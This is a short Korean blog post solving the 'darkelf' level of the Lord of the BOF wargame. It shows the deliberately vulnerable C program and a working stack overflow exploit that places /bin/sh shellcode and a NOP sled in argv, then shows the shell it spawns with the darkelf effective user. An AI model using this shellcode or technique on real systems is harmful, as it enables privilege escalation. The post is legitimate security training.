[wolfman@localhost wolfman]$ cat darkelf.c
/* The Lord of the BOF : The Fellowship of the BOF - darkelf - egghunter + buffer hunter + check length of argv[1] */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); }
|
삽질하다보니 argv가 저장되는 공간은 memset이 안되고 남아있는걸 알게됫어요
Argv[2]를 이용하는 방법도 있을 것 같지만 이거 한번 이용해보죠..
이건 memset 이후의 eax인데 원래 저기에 버퍼 들어있어야하거든요 근데 지금 memset으로 초기화.. 아무튼 빨간색 괄호 친 부분이 argv 영역인데 A랑 0xbfbfbfbf는 argv[1]이고 B는 argv[2]에요. 영역 밖이라 초기화가 안됫죠? 저부분을 이용해봅시다..
몇번 해보니 argv영역이 bffffba0 영역이다가 ca0영역으로 고정되어버렸네요 ca0으로 해보죠
[wolfman@localhost wolfman]$ ./darkelf `perl -e 'print "\x90"x20, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80", "\x10\xfc\xff\xbf"'`
????????????????????1픐h//shh/bin??S??
것 ?
bash$ id
uid=505(wolfman) gid=505(wolfman) euid=506(darkelf) egid=506(darkelf) groups=505(wolfman)
bash$ my-pass
euid = 506
kernel crashed
bash$
'워게임 > lord of bof' 카테고리의 다른 글
level 7 -> 8 (0) | 2015.10.23 |
---|---|
level 6 -> 7 (0) | 2015.10.23 |
level 4 -> 5 (0) | 2015.10.23 |
level 3 -> 4 (0) | 2015.10.23 |
level 2 -> 3 (0) | 2015.10.23 |